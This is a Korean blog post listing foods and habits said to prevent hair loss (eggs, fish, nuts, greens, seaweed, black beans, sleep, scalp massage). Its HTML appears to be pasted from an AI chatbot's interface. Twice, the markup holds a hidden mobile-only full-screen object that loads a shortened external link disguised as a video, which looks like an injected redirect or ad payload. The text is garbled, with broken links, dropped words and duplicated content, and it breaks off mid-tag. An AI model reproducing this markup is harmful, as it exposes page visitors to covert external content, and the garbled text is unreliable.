탈모 예방법 예방 음식

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3i" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:22">탈모 예방, 지금부터 시작하세요!</h2><p data-sourcepos="3:1-3:39"><strong>탈모 예방에 좋은 음식들과 함께 건강한 머릿결을 유지해 보세요.</strong></p><p data-sourcepos="5:1-5:141">탈모는 현대인들에게 심각한 고민이 되고 있습니다. 유전적인 요인뿐만 아니라 스트레스, 불규칙한 생활습관, 환경오염 등 다양한 원인이 복합적으로 작용하기 때문입니다. 하지만 균형 잡힌 식단은 탈모를 예방하고 건강한 모발을 유지하는 데 큰 도움이 됩니다.</p><h3 data-sourcepos="7:1-7:17">탈모 예방에 좋은 음식</h3><ul data-sourcepos="9:1-22:0"> <li data-sourcepos="9:1-13:0"> <p data-sourcepos="9:3-9:19"><strong>단백질이 풍부한 식품:</strong></p> <ul data-sourcepos="10:5-13:0"> <li data-sourcepos="10:5-10:67"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_dac8237cec25d601&quot;,&quot;c_5162eb8653851e1e&quot;,null,&quot;rc_c3cd92dcca3bb760&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://semie.cooking/recipe-lab/archive/how-to-boil-eggs-and-easy-peel-boiled-eggs"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="달걀 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcSDzHyDvwfDGG6EtdjNV3jJRqMl3hvvGTwSa4cjUvzD2tYLPgOlCrMJfmGUYCdN"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://semie.cooking/recipe-lab/archive/how-to-boil-eggs-and-easy-peel-boiled-eggs" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_dac8237cec25d601&quot;,&quot;c_5162eb8653851e1e&quot;,null,&quot;rc_c3cd92dcca3bb760&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcTQZbroEkNsBsYLLAmFu7FQAktHBMb-JxyzDhLrKFR4rU6ssilMBVbtwr8Q_fPXUjIjg33aBNN0BkiRBntw5oyvEDpvMHswGw"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">semie.cooking</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 달걀 </div></div></single-image></response-element></div></span> 달걀은 단백질과 비오틴이 풍부하여 모발 성장에 필수적인 영양소를 공급합니다.</li> <li data-sourcepos="11:5-11:67"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_dac8237cec25d601&quot;,&quot;c_5162eb8653851e1e&quot;,null,&quot;rc_c3cd92dcca3bb760&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.kurly.com/goods/1000086665"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="닭가슴살 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRexpFOZnIaSUxoNvxaPLznqYkSXJP_2vl_Z-ZdIBxksC1ntydVIdSvb3e6g4bC"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.kurly.com/goods/1000086665" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_dac8237cec25d601&quot;,&quot;c_5162eb8653851e1e&quot;,null,&quot;rc_c3cd92dcca3bb760&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcSTdBAN7WRYjNyOcUbUBGqmsMtOaI3jTUlITMftIlQCokEXDEgNnccqLmEbAAWX4bhBLHp3e1U8hxe-XPookJ1v82oDPaduhw"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.kurly.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 닭가슴살 </div></div></single-image></response-element></div></span> 닭가슴살은 저지방 고단백 식품으로, 모발을 구성하는 단백질을 보충해줍니다.</li> <li data-sourcepos="12:5-13:0"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_dac8237cec25d601&quot;,&quot;c_5162eb8653851e1e&quot;,null,&quot;rc_c3cd92dcca3bb760&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EC%83%9D%EC%84%A0"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="생선 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcTxWWjCbxyjEZ9xvYJQarrD7Z1qq4oypXocSi37vY1YwB9RqP9bYUQRXs6kN2VK"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EC%83%9D%EC%84%A0" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_dac8237cec25d601&quot;,&quot;c_5162eb8653851e1e&quot;,null,&quot;rc_c3cd92dcca3bb760&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 생선 </div></div></single-image></response-element></div></span> 연어, 참치 등 지방산이 풍부한 생선은 모발에 윤기를 더하고 건강하게 유지하는 데 도움을 줍니다.</li> </ul> </li> <li data-sourcepos="14:1-18:0"> <p data-sourcepos="14:3-14:23"><strong>비타민과 미네랄이 풍부한 식품:</strong></p> <ul data-sourcepos="15:5-18:0"> <li data-sourcepos="15:5-15:68"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_dac8237cec25d601&quot;,&quot;c_5162eb8653851e1e&quot;,null,&quot;rc_c3cd92dcca3bb760&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EA%B2%AC%EA%B3%BC%EB%A5%98"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="견과류 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcRNxVLMXBTJGfUtYWmGYrluhJkDDZaeUjGycgg4KVCp5dkefl5wi8rrWI23095D"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EA%B2%AC%EA%B3%BC%EB%A5%98" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_dac8237cec25d601&quot;,&quot;c_5162eb8653851e1e&quot;,null,&quot;rc_c3cd92dcca3bb760&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 견과류 </div></div></single-image></response-element></div></span> 아몬드, 호두 등 견과류는 비타민 E와 아연이 풍부하여 모발 건강에 좋습니다.</li> <li data-sourcepos="16:5-16:76"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_dac8237cec25d601&quot;,&quot;c_5162eb8653851e1e&quot;,null,&quot;rc_c3cd92dcca3bb760&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://brunch./@@2JVJ/1340"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="녹색 채소 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcSrErv_D1fhB1UcbV8scvRx8q6pTeahU4rCy3BySZG9QX_ysZkHX8nQP9ZADnrt"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://brunch./@@2JVJ/1340" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_dac8237cec25d601&quot;,&quot;c_5162eb8653851e1e&quot;,null,&quot;rc_c3cd92dcca3bb760&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcR9wRBvdaC9jop6JCwitFwtIoPjh94Nv7G_dsoRzrwIbkp-v2dlLB4hAIAf-3g0fIahrTrc8Edaq_FEYD4x0IPGsvBS0TwT"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">brunch.</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 녹색 채소 </div></div></single-image></response-element></div></span> 시금치, 케일 등 녹색 채소는 비타민 A, C, 철분이 풍부하여 모발 성장을 촉진합니다.</li> <li data-sourcepos="17:5-18:0"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_dac8237cec25d601&quot;,&quot;c_5162eb8653851e1e&quot;,null,&quot;rc_c3cd92dcca3bb760&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://kormedi.com/1566370/"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="해조류 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcRDMz-CAra514uVc8tZpvpnVWku0VyuIy2Z3-gRcedtCfESOSs39ubcAIXXcihJ"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://kormedi.com/1566370/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_dac8237cec25d601&quot;,&quot;c_5162eb8653851e1e&quot;,null,&quot;rc_c3cd92dcca3bb760&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcTLg2VmTGS5zyZ-G6fulmgu9bqPAYBn2FfTjkKxc6_sy9zGtJkRtZGQ1z7EFiotvG40druhbhwl0RVNR7sJlBEX-rLVcv8"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">kormedi.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 해조류 </div></div></single-image></response-element></div></span> 미역, 다시마 등 해조류는 요오드가 풍부하여 갑상선 기능을 조절하고 모발 성장을 돕습니다.</li> </ul> </li> <li data-sourcepos="19:1-22:0"> <p data-sourcepos="19:3-19:9"><strong>기타:</strong></p> <ul data-sourcepos="20:5-22:0"> <li data-sourcepos="20:5-20:69"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_dac8237cec25d601&quot;,&quot;c_5162eb8653851e1e&quot;,null,&quot;rc_c3cd92dcca3bb760&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://ssarijai.com/product/23%EB%85%84-%ED%96%87-%EA%B3%A1%EC%8B%9D-%EA%B5%AD%EC%82%B0-%EC%84%9C%EB%AA%A9%ED%83%9C-%EC%A5%90%EB%88%88%EC%9D%B4%EC%BD%A9-1kg-%EC%95%BD%EC%BD%A9-%EA%B2%80%EC%9D%80%EC%BD%A9-%ED%9A%A8%EB%8A%A5/194/"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="검은콩 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcSXECla37AIB0W1vUjbjUrHOuS9iTcxZqkL1wff8uNYSPESqztLcnEUHEwPfx_x"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://ssarijai.com/product/23%EB%85%84-%ED%96%87-%EA%B3%A1%EC%8B%9D-%EA%B5%AD%EC%82%B0-%EC%84%9C%EB%AA%A9%ED%83%9C-%EC%A5%90%EB%88%88%EC%9D%B4%EC%BD%A9-1kg-%EC%95%BD%EC%BD%A9-%EA%B2%80%EC%9D%80%EC%BD%A9-%ED%9A%A8%EB%8A%A5/194/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_dac8237cec25d601&quot;,&quot;c_5162eb8653851e1e&quot;,null,&quot;rc_c3cd92dcca3bb760&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcSerRWcX_PjCwvSyKxRn06YufIRh7HXHqrJXz_GXPWxdJkEajmnOQCV1bKxSF_AlW-k8_Zr1H75o22GzzVUFwBHRlqN2GHu"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">ssarijai.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 검은콩 </div></div></single-image></response-element></div></span> 검은콩은 모발에 영양을 공급하고 혈액순환을 개선하여 탈모 예방에 도움을 줍니다.</li> <li data-sourcepos="21:5-22:0"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_dac8237cec25d601&quot;,&quot;c_5162eb8653851e1e&quot;,null,&quot;rc_c3cd92dcca3bb760&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://ko.wikipedia.org/wiki/%ED%98%84%EB%AF%B8"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="현미 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcS3XOOsJALWmYxWrPzSJMEpfH5RrpItcw7Wi321IYPdHzasIi2AFanV-i6mH5Of"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://ko.wikipedia.org/wiki/%ED%98%84%EB%AF%B8" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_dac8237cec25d601&quot;,&quot;c_5162eb8653851e1e&quot;,null,&quot;rc_c3cd92dcca3bb760&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcQYtmdcl8iY4_F9QIVUF7rcJWPcJY3DJJMYNz0OFczRxRphw86aShEnPM2slInt1YxDDuWcvkAJ0oS1Ny5DUEnCvqx_t9JvlgR0QA"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">ko.wikipedia.org</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 현미 </div></div></single-image></response-element></div></span> 현미는 비타민 B군이 풍부하여 모발에 활력을 부여합니다.</li> </ul> </li> </ul><h3 data-sourcepos="23:1-23:19">탈모 예방을 위한 생활 습관</h3><ul data-sourcepos="25:1-29:0"> <li data-sourcepos="25:1-25:53"><strong>스트레스 관리:</strong> 명상, 요가 등 자신에게 맞는 스트레스 해소 방법을 찾아 실천하세요.</li> <li data-sourcepos="26:1-26:54"><strong>충분한 수면:</strong> 밤 10시부터 새벽 2시 사이에는 숙면을 취하여 몸의 회복을 도와주세요.</li> <li data-sourcepos="27:1-27:58"><strong>규칙적인 운동:</strong> 유산소 운동과 근력 운동을 병행하여 건강한 몸을 만들고 혈액순환을 개선하세요.</li> <li data-sourcepos="28:1-29:0"><strong>두피 마사지:</strong> 혈액순환을 촉진하고 모근을 강화시켜 탈모를 예방하는 데 도움을 줍니다.</li> </ul><p data-sourcepos="30:1-30:85"><strong>주의:</strong> 탈모는 개인의 체질과 건강 상태에 따라 다르게 나타날 수 있으므로, 전문가와 상담하여 자신에게 맞는 탈모 관리 방법을 찾는 것이 좋습니다.</p><p data-sourcepos="32:1-32:66"><strong>이 포함된 글을 통해 탈모 예방에 대한 이해를 높이고 건강한 모발을 유지하기 위한 노력을 시작해 보세요!</strong></p><hr data-sourcepos="34:1-34:3"><p data-sourcepos="36:1-36:45"><strong>참고:</strong> 위에 제시된 은 예시이며, 실제 은 다를 수 있습니다.</p><p data-sourcepos="38:1-38:59"><strong> 추가 요청:</strong> 특정 식품이나 탈모 관리 방법에 대한 을 원하시면 언제든지 요청해주세요.</p><p data-sourcepos="40:1-40:64"><strong>다른 정보:</strong> 탈모 예방에 대한 더 자세한 정보를 원하시면, 관련된 전문가나 의료기관에 문의하시기 바랍니다.</p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3i" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:22">탈모 예방, 지금부터 시작하세요!</h2><p data-sourcepos="3:1-3:39"><strong>탈모 예방에 좋은 음식들과 함께 건강한 머릿결을 유지해 보세요.</strong></p><p data-sourcepos="5:1-5:141">탈모는 현대인들에게 심각한 고민이 되고 있습니다. 유전적인 요인뿐만 아니라 스트레스, 불규칙한 생활습관, 환경오염 등 다양한 원인이 복합적으로 작용하기 때문입니다. 하지만 균형 잡힌 식단은 탈모를 예방하고 건강한 모발을 유지하는 데 큰 도움이 됩니다.</p><h3 data-sourcepos="7:1-7:17">탈모 예방에 좋은 음식</h3><ul data-sourcepos="9:1-22:0"> <li data-sourcepos="9:1-13:0"> <p data-sourcepos="9:3-9:19"><strong>단백질이 풍부한 식품:</strong></p> <ul data-sourcepos="10:5-13:0"> <li data-sourcepos="10:5-10:67"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_dac8237cec25d601","c_5162eb8653851e1e",null,"rc_c3cd92dcca3bb760",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://semie.cooking/recipe-lab/archive/how-to-boil-eggs-and-easy-peel-boiled-eggs"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="달걀 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSDzHyDvwfDGG6EtdjNV3jJRqMl3hvvGTwSa4cjUvzD2tYLPgOlCrMJfmGUYCdN"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://semie.cooking/recipe-lab/archive/how-to-boil-eggs-and-easy-peel-boiled-eggs" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_dac8237cec25d601","c_5162eb8653851e1e",null,"rc_c3cd92dcca3bb760",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTQZbroEkNsBsYLLAmFu7FQAktHBMb-JxyzDhLrKFR4rU6ssilMBVbtwr8Q_fPXUjIjg33aBNN0BkiRBntw5oyvEDpvMHswGw"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">semie.cooking</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 달걀 </div></div></single-image></response-element></div></span> 달걀은 단백질과 비오틴이 풍부하여 모발 성장에 필수적인 영양소를 공급합니다.</li> <li data-sourcepos="11:5-11:67"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_dac8237cec25d601","c_5162eb8653851e1e",null,"rc_c3cd92dcca3bb760",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.kurly.com/goods/1000086665"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="닭가슴살 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRexpFOZnIaSUxoNvxaPLznqYkSXJP_2vl_Z-ZdIBxksC1ntydVIdSvb3e6g4bC"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.kurly.com/goods/1000086665" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_dac8237cec25d601","c_5162eb8653851e1e",null,"rc_c3cd92dcca3bb760",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSTdBAN7WRYjNyOcUbUBGqmsMtOaI3jTUlITMftIlQCokEXDEgNnccqLmEbAAWX4bhBLHp3e1U8hxe-XPookJ1v82oDPaduhw"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.kurly.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 닭가슴살 </div></div></single-image></response-element></div></span> 닭가슴살은 저지방 고단백 식품으로, 모발을 구성하는 단백질을 보충해줍니다.</li> <li data-sourcepos="12:5-13:0"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" 